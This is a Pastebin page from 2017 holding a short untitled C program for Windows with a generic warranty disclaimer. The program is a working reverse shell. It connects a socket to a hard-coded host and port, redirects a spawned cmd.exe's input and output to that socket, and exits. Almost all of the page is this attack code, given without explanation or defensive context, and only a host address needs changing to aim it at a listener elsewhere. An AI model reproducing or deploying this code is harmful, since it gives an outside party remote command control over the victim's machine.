daily pastebin goal
52%
SHARE
TWEET

Untitled

a guest Jun 19th, 2017 43 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  
  3. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
  4. EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
  5. OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
  6. NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
  7. HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
  8. WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
  9. FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
  10. OTHER DEALINGS IN THE SOFTWARE.
  11.  
  12. */
  13.  
  14. #include <winsock2.h>
  15. #include <stdio.h>
  16. #pragma comment(lib,"ws2_32")
  17. #define PORT 55
  18. #define HOST "127.0.0.1"
  19.  
  20. void main(int argc, char *argv[])
  21. {
  22.         WSADATA wsaData;
  23.         SOCKET hSocket;
  24.         STARTUPINFO si;
  25.         PROCESS_INFORMATION pi;
  26.         struct sockaddr_in adik_sin;
  27.         memset(&adik_sin,0,sizeof(adik_sin));
  28.         memset(&si,0,sizeof(si));
  29.         WSAStartup(MAKEWORD(2,0),&wsaData);
  30.         hSocket = WSASocket(AF_INET,SOCK_STREAM,0,0,0,0);
  31.         adik_sin.sin_family = AF_INET;
  32.         adik_sin.sin_port = htons(PORT);
  33.         adik_sin.sin_addr.s_addr = inet_addr(HOST);
  34.         connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
  35.         si.cb = sizeof(si);
  36.         si.dwFlags = STARTF_USESTDHANDLES;
  37.         si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
  38.         CreateProcess(0,"cmd",0,0,1,0,0,0,&si,&pi);
  39.         ExitProcess(0);
  40. }
RAW Paste Data
Top